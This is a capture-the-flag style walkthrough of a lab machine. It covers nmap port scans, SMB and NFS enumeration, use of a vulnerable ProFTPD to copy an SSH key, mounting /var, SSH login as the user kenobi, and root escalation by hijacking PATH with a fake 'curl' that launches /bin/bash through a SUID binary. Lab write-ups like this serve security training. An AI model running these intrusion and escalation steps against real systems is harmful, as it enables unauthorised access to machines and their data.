Port enumeration

nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.129.128.36 -oG AllPorts.txt
nmap -p22,80,111,139,445,2049,34133,35187,43203,60903 -vvv -sCV 10.129.128.36

First thing I see is a Samba and a http servers open. 560603cfa1d8dbf96d51fcaeb2193ff5.png 44eabefd030963570cb57391f2ed25e8.png

Samba enumeration

Using enum4linux I'm able to enumerate the SMB server.

enum4linux -a 10.129.128.36

Shares

2ae61042e14a7a8a687df5c0bded9329.png The more interesting one is anonymous, because is public.

Users

4ed51d84ed4b17cc81f317c56edd3fdd.png

Anonymous folder

Only thing I found in this folder is a file called log.txt. aaa86f6201ddd2c23d975468c6151bf5.png First thing I see in this log is the location of a SSH key. 5c57e4b3a5b27b3e693c10ceffc40c80.png Also, a FTP server file. cba4deda9585d4dde182d00453d009ae.png

RPC enumeration

In port 111 is working a RPC server, using the nmap script, Im able to enum it.

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.129.128.36

With this, I can see who the mounted file is /var. 4ff91aec2d9165948d3f5c68df281a98.png

FTP enumeration

I tried to log as anonymous user, but it calls for a valid gmail as password. 9b5de5534edd21da4e5bf63f25a63823.png After this, I use nc to see the proFTP version. 9fbc2b564ccfc1485206b2c8aeb745b2.png This version is vulnerable to RCE. 791a829277b52cf0a43a586ae572e7e3.png Using this vulnerability, y copy the kenoby key in var directory. 55c8443c45d40eec536e14bd7c9094e3.png Now, because the NFS configuration, im able to mount this folder.

mount 10.130.163.35:/var kenobi

2255685775c49b964308cb730bbeeb8f.png With this, I can obtain the rsa key and log as kenobi.

ssh -i id_rsa kenobi@10.130.163.35

4c6cceb14027003cd5a2332341c5fe6a.png 14fdd87f6e2872a76be0c61f7ce14328.png

Privilege scalation

I can see a lot of SUID binaries, but we can see an extrange one. fcd461ec5f27b2e85becaad2b66d5cd1.png 361add982baaab3a74ee685f13d8df6f.png This binary, runs another 3 binaries, curl, uname and ifconfig. So, with this, I only need to create a new curl file with a shell and manipulate our path.

echo '/bin/bash' > curl
chmod a+x curl
export PATH=/tmp:$PATH

Now, we can execute the binary and call curl, and we well get our shell. 8515e513044bdcdacaf5aeb9783df57c.png